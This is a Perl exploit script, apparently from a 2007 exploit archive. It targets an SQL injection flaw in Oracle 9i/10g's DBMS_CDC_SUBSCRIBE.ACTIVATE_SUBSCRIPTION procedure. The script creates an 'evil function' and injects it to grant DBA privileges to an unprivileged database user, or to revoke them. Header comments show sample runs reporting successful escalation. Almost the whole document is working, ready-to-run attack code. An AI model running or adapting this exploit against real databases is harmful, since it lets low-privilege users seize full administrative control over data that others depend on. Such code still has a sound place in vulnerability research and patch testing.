oracleas-sql.txt

`#!/usr/bin/perl  
#  
# Remote Oracle DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION exploit (9i/10g)  
#  
# Grant or revoke dba permission to unprivileged user  
#   
# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"  
#   
# REF: http://www.securityfocus.com/archive/1/396133  
#  
# AUTHOR: Andrea "bunker" Purificato  
# http://rawlab.mindcreations.com  
#  
# DATE: Copyright 2007 - Fri Feb 23 12:44:18 CET 2007  
#  
# Oracle InstantClient (basic + sdk) required for DBD::Oracle  
#  
#  
# bunker@fin:~$ perl dbms_cdc_subscribe.pl -h localhost -s test -u bunker -p **** -r  
# [-] Wait...  
# [-] Revoking DBA from BUNKER...  
# DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at dbms_cdc_subscribe.pl line 91.  
# [-] Done!  
#   
# bunker@fin:~$ perl dbms_cdc_subscribe.pl -h localhost -s test -u bunker -p **** -g  
# [-] Wait...  
# [-] Creating evil function...  
# [-] Go ...(don't worry about errors)!  
# DBD::Oracle::st execute failed: ORA-31425: subscription does not exist  
# ORA-06512: at "SYS.DBMS_CDC_SUBSCRIBE", line 37  
# ORA-06512: at line 3 (DBD ERROR: OCIStmtExecute) [for Statement "  
# BEGIN  
# SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION('''||BUNKER.own||''');  
# END;  
# "] at dbms_cdc_subscribe.pl line 114.  
# [-] YOU GOT THE POWAH!!  
#  
# bunker@fin:~$ perl dbms_cdc_subscribe.pl -h localhost -s test -u bunker -p **** -r  
# [-] Wait...  
# [-] Revoking DBA from BUNKER...  
# [-] Done!  
#   
  
use warnings;  
use strict;  
use DBI;  
use Getopt::Std;  
use vars qw/ %opt /;  
  
sub usage {  
print <<"USAGE";  
  
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]  
  
Options:  
-h <host> target server address  
-s <sid> target sid name  
-u <user> user  
-p <passwd> password   
  
-g|-r (g)rant dba to user | (r)evoke dba from user  
[-P <port> Oracle port]  
  
USAGE  
exit 0  
}  
  
my $opt_string = 'h:s:u:p:grP:';  
getopts($opt_string, \%opt) or &usage;  
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );  
&usage if ( !$opt{g} and !$opt{r} );  
my $user = uc $opt{u};  
  
my $dbh = undef;  
if ($opt{P}) {  
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;  
} else {  
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;  
}  
  
my $sqlcmd = "GRANT DBA TO $user";  
print "[-] Wait...\n";  
  
if ($opt{r}) {  
print "[-] Revoking DBA from $user...\n";  
$sqlcmd = "REVOKE DBA FROM $user";  
$dbh->do( $sqlcmd );  
print "[-] Done!\n";  
$dbh->disconnect;  
exit;  
}  
  
print "[-] Creating evil function...\n";  
$dbh->do( qq{  
CREATE OR REPLACE FUNCTION OWN RETURN NUMBER   
AUTHID CURRENT_USER AS   
PRAGMA AUTONOMOUS_TRANSACTION;   
BEGIN  
EXECUTE IMMEDIATE '$sqlcmd'; COMMIT;   
RETURN(0);  
END;  
} );  
  
print "[-] Go ...(don't worry about errors)!\n";  
my $sth = $dbh->prepare(qq{  
BEGIN  
SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION('''||$user.own||''');  
END;  
});  
$sth->execute;  
$sth->finish;  
print "[-] YOU GOT THE POWAH!!\n";  
$dbh->disconnect;  
exit;  
`